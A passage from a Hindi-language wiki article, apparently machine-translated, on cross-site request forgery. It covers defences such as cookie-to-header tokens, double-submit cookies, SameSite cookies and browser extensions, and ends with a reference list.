  • क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम एचटीटीपी हेडर में कॉपी करता है
X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है

इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि csrf-token कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.

सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके सेशन कुकी से प्राप्त किया जा सकता है: 

सीएसआरएफ_टोकन = एचएमएसी(सेशन_टोकन, एप्लिकेशन_सीक्रेट)

सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।

यह तकनीक अनेक आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ​​ढाँचा)[26] और AngularJS.[27] क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह एजेएएक्स एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।

यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

  • clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[28]
  • crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[29]


डबल सबमिट कुकी

कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।[30]

सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।

समान साइट कुकी विशेषता

जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से प्रयुक्त करने की आवश्यकता होती है।[31]


ग्राहक-पक्ष सुरक्षा उपाय

ब्राउज़र एक्सटेंशन जैसे RequestPolicy (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।

फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।

फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, अटैक की विंडो को कम कर सकता है।

अन्य तकनीकें

ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:

  • यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है X-Requested-With (v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है Referer हेडर और/या एचटीटीपी Origin शीर्षक.[32] चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।[33][34]
  • एचटीटीपी रेफरर एचटीटीपी की जाँच करना Referer हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो इसे छोड़ देता है Referer हेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई अटैक्स इसे दबा सकता है Referer एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके हेडर। यह सख्त Referer सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैं Referer गोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को एचटीटीपी प्रतिक्रिया विभाजन का उपयोग करके मनमाने ढंग से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।[35] क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
  • कुछ समय के लिए पोस्ट रिक्वेस्ट विधि को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब एक्सएमएलHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। अप्रत्याशित जीईटी अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस छवि यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <script> तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।[1]

क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को बायपास करने की अनुमति देती हैं।[36]

यह भी देखें

संदर्भ

  1. ↑ 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
  2. ↑ 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. ↑ "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
  4. ↑ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  5. ↑ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  6. ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  7. ↑ Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
  8. ↑ 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  9. ↑ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  10. ↑ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  11. ↑ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
  12. ↑ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  13. ↑ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
  14. ↑ "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
  15. ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  16. ↑ "Security Fix - Weaponizing Web 2.0".
  17. ↑ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
  18. ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
  19. ↑ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
  20. ↑ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  21. ↑ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  22. ↑ "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
  23. ↑ "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
  24. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
  25. ↑ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  26. ↑ "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  27. ↑ "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
  28. ↑ "Making a Service Available Across Domain Boundaries".
  29. ↑ Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
  30. ↑ "डबल सबमिट कुकी रक्षा". OWASP.
  31. ↑ "सेमसाइट कुकीज़". Mozilla.
  32. ↑ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
  33. ↑ "Django 1.2.5 release notes". Django.
  34. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  35. ↑ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  36. ↑ Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.


बाहरी संबंध

Retrieved from ‘https://www.vigyanwiki.in/index.php?title=क्रॉस_साइट_अनुरोध_जालसाजी&oldid=249107’